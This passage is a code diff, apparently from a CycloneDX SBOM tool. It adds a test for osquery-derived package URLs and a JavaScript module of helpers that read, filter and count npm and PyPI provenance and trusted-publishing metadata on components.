36
|
+
|
|
37
|
+
it("creates valid purl strings for osquery-derived components", () => {
|
|
38
|
+
const purl = createOsQueryPurl(
|
|
39
|
+
"swid",
|
|
40
|
+
"microsoft",
|
|
41
|
+
"windows+11",
|
|
42
|
+
"22H2",
|
|
43
|
+
undefined,
|
|
44
|
+
"windows",
|
|
45
|
+
);
|
|
46
|
+
assert.ok(purl.startsWith("pkg:swid/microsoft/"));
|
|
47
|
+
assert.ok(purl.includes("@22H2"));
|
|
48
|
+
});
|
|
49
|
+
});
|
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
|
|
2
|
+
const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
|
|
3
|
+
const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
|
|
4
|
+
const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
|
|
5
|
+
|
|
6
|
+
export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
7
|
+
NPM_PROVENANCE_URL_PROPERTY,
|
|
8
|
+
"cdx:npm:provenanceDigest",
|
|
9
|
+
"cdx:npm:provenanceKeyId",
|
|
10
|
+
"cdx:npm:provenancePredicateType",
|
|
11
|
+
"cdx:npm:provenanceSignature",
|
|
12
|
+
"cdx:npm:artifactIntegrity",
|
|
13
|
+
"cdx:npm:artifactShasum",
|
|
14
|
+
];
|
|
15
|
+
export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
16
|
+
PYPI_PROVENANCE_URL_PROPERTY,
|
|
17
|
+
"cdx:pypi:provenanceDigest",
|
|
18
|
+
"cdx:pypi:provenanceKeyId",
|
|
19
|
+
"cdx:pypi:provenancePredicateType",
|
|
20
|
+
"cdx:pypi:provenanceSignature",
|
|
21
|
+
"cdx:pypi:artifactDigestSha256",
|
|
22
|
+
"cdx:pypi:artifactDigestBlake2b256",
|
|
23
|
+
"cdx:pypi:artifactDigestMd5",
|
|
24
|
+
];
|
|
25
|
+
export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
26
|
+
...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
27
|
+
...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
28
|
+
];
|
|
29
|
+
export const TRUSTED_PUBLISHING_PROPERTIES = [
|
|
30
|
+
NPM_TRUSTED_PUBLISHING_PROPERTY,
|
|
31
|
+
PYPI_TRUSTED_PUBLISHING_PROPERTY,
|
|
32
|
+
];
|
|
33
|
+
|
|
34
|
+
export const REGISTRY_PROVENANCE_ICON = "🛡";
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Return a component property value by name.
|
|
38
|
+
*
|
|
39
|
+
* @param {object} component CycloneDX component
|
|
40
|
+
* @param {string} propertyName Property name to look up
|
|
41
|
+
* @returns {string | undefined} Property value if present
|
|
42
|
+
*/
|
|
43
|
+
export function getComponentPropertyValue(component, propertyName) {
|
|
44
|
+
return component?.properties?.find((prop) => prop?.name === propertyName)
|
|
45
|
+
?.value;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* Return a property value by name from a raw properties array.
|
|
50
|
+
*
|
|
51
|
+
* @param {object[]} properties CycloneDX properties array
|
|
52
|
+
* @param {string} propertyName Property name to look up
|
|
53
|
+
* @returns {string | undefined} Property value if present
|
|
54
|
+
*/
|
|
55
|
+
export function getPropertyValue(properties, propertyName) {
|
|
56
|
+
return properties?.find((prop) => prop?.name === propertyName)?.value;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Check whether any of the supplied properties exist and carry a value.
|
|
61
|
+
*
|
|
62
|
+
* @param {object[]} properties CycloneDX properties array
|
|
63
|
+
* @param {string[]} propertyNames Property names to test
|
|
64
|
+
* @returns {boolean} True when any named property has a non-empty value
|
|
65
|
+
*/
|
|
66
|
+
export function hasAnyPropertyValue(properties, propertyNames) {
|
|
67
|
+
return propertyNames.some((propertyName) =>
|
|
68
|
+
Boolean(getPropertyValue(properties, propertyName)),
|
|
69
|
+
);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
/**
|
|
73
|
+
* Determine whether a raw properties array includes trusted publishing metadata.
|
|
74
|
+
*
|
|
75
|
+
* @param {object[]} properties CycloneDX properties array
|
|
76
|
+
* @returns {boolean} True when trusted publishing is recorded for npm or PyPI
|
|
77
|
+
*/
|
|
78
|
+
export function hasTrustedPublishingProperties(properties) {
|
|
79
|
+
return TRUSTED_PUBLISHING_PROPERTIES.some(
|
|
80
|
+
(propertyName) => getPropertyValue(properties, propertyName) === "true",
|
|
81
|
+
);
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Determine whether a raw properties array includes direct registry provenance evidence.
|
|
86
|
+
*
|
|
87
|
+
* @param {object[]} properties CycloneDX properties array
|
|
88
|
+
* @returns {boolean} True when direct provenance evidence is present
|
|
89
|
+
*/
|
|
90
|
+
export function hasRegistryProvenanceEvidenceProperties(properties) {
|
|
91
|
+
return hasAnyPropertyValue(
|
|
92
|
+
properties,
|
|
93
|
+
REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
94
|
+
);
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
/**
|
|
98
|
+
* Determine whether a component includes trusted publishing metadata.
|
|
99
|
+
*
|
|
100
|
+
* @param {object} component CycloneDX component
|
|
101
|
+
* @returns {boolean} True when trusted publishing is recorded for npm or PyPI
|
|
102
|
+
*/
|
|
103
|
+
export function hasComponentTrustedPublishing(component) {
|
|
104
|
+
return hasTrustedPublishingProperties(component?.properties);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
/**
|
|
108
|
+
* Determine whether a component includes direct registry provenance evidence.
|
|
109
|
+
*
|
|
110
|
+
* @param {object} component CycloneDX component
|
|
111
|
+
* @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
|
|
112
|
+
*/
|
|
113
|
+
export function hasComponentRegistryProvenanceEvidence(component) {
|
|
114
|
+
return hasRegistryProvenanceEvidenceProperties(component?.properties);
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* Determine whether a component includes registry provenance metadata.
|
|
119
|
+
*
|
|
120
|
+
* @param {object} component CycloneDX component
|
|
121
|
+
* @returns {boolean} True when provenance or trusted publishing metadata exists
|
|
122
|
+
*/
|
|
123
|
+
export function hasComponentRegistryProvenance(component) {
|
|
124
|
+
return (
|
|
125
|
+
hasComponentTrustedPublishing(component) ||
|
|
126
|
+
hasComponentRegistryProvenanceEvidence(component)
|
|
127
|
+
);
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* Filter components to those carrying trusted publishing metadata.
|
|
132
|
+
*
|
|
133
|
+
* @param {object[]} components BOM components
|
|
134
|
+
* @returns {object[]} Trusted-publishing-backed components
|
|
135
|
+
*/
|
|
136
|
+
export function getTrustedComponents(components) {
|
|
137
|
+
if (!Array.isArray(components)) {
|
|
138
|
+
return [];
|
|
139
|
+
}
|
|
140
|
+
return components.filter((component) =>
|
|
141
|
+
hasComponentTrustedPublishing(component),
|
|
142
|
+
);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Filter components to those carrying direct registry provenance evidence.
|
|
147
|
+
*
|
|
148
|
+
* @param {object[]} components BOM components
|
|
149
|
+
* @returns {object[]} Provenance-backed components
|
|
150
|
+
*/
|
|
151
|
+
export function getProvenanceComponents(components) {
|
|
152
|
+
if (!Array.isArray(components)) {
|
|
153
|
+
return [];
|
|
154
|
+
}
|
|
155
|
+
return components.filter((component) =>
|
|
156
|
+
hasComponentRegistryProvenanceEvidence(component),
|
|
157
|
+
);
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
/**
|
|
161
|
+
* Count components with trusted publishing metadata by registry ecosystem.
|
|
162
|
+
*
|
|
163
|
+
* @param {object[]} components BOM components
|
|
164
|
+
* @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
|
|
165
|
+
*/
|
|
166
|
+
export function getTrustedPublishingComponentCounts(components) {
|
|
167
|
+
const counts = {
|
|
168
|
+
npm: 0,
|
|
169
|
+
pypi: 0,
|
|
170
|
+
total: 0,
|
|
171
|
+
};
|
|
172
|
+
if (!Array.isArray(components)) {
|
|
173
|
+
return counts;
|
|
174
|
+
}
|
|
175
|
+
for (const component of components) {
|
|
176
|
+
const npmTrustedPublishing =
|
|
177
|
+
getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
|
|
178
|
+
"true";
|
|
179
|
+
const pypiTrustedPublishing =
|
|
180
|
+
getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
|
|
181
|
+
"true";
|
|
182
|
+
if (npmTrustedPublishing) {
|
|
183
|
+
counts.npm += 1;
|
|
184
|
+
}
|
|
185
|
+
if (pypiTrustedPublishing) {
|
|
186
|
+
counts.pypi += 1;
|
|
187
|
+
}
|
|
188
|
+
if (npmTrustedPublishing || pypiTrustedPublishing) {
|
|
189
|
+
counts.total += 1;
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
return counts;
|
|
193
|
+
}
|